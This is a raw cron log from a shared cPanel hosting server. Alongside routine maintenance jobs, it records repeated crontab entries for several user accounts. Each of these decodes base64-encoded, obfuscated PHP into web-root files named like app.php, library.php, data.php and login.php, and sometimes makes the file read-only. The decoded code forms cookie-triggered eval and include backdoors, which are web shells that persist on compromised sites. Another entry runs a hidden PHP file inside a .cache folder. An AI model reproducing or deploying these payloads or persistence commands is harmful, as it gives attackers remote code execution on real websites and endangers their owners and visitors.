Apr 19 04:44:02 medusa CROND[23096]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:44:02 medusa CROND[23091]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:45:01 medusa CROND[14743]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:45:01 medusa CROND[14746]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:45:01 medusa CROND[14748]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:45:01 medusa CROND[14825]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:45:02 medusa CROND[14844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:45:02 medusa CROND[14845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:45:02 medusa CROND[14847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:45:02 medusa CROND[14848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:45:02 medusa CROND[14849]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:45:02 medusa CROND[14846]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:45:02 medusa CROND[14853]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:45:02 medusa CROND[14855]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:45:02 medusa CROND[14859]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:45:02 medusa CROND[14860]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:45:02 medusa CROND[14863]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 04:45:02 medusa CROND[14864]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:45:02 medusa CROND[14865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:45:02 medusa CROND[14856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:45:02 medusa CROND[14879]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:45:02 medusa CROND[14883]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:45:02 medusa CROND[14886]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:45:02 medusa CROND[14880]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Apr 19 04:45:02 medusa CROND[14882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:45:02 medusa CROND[14881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:46:01 medusa CROND[6290]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:46:01 medusa CROND[6369]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:46:01 medusa CROND[6370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:46:01 medusa CROND[6371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:46:01 medusa CROND[6372]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:46:01 medusa CROND[6373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:46:01 medusa CROND[6376]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:46:01 medusa CROND[6378]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:46:01 medusa CROND[6379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:46:01 medusa CROND[6380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:46:01 medusa CROND[6381]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:46:01 medusa CROND[6382]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
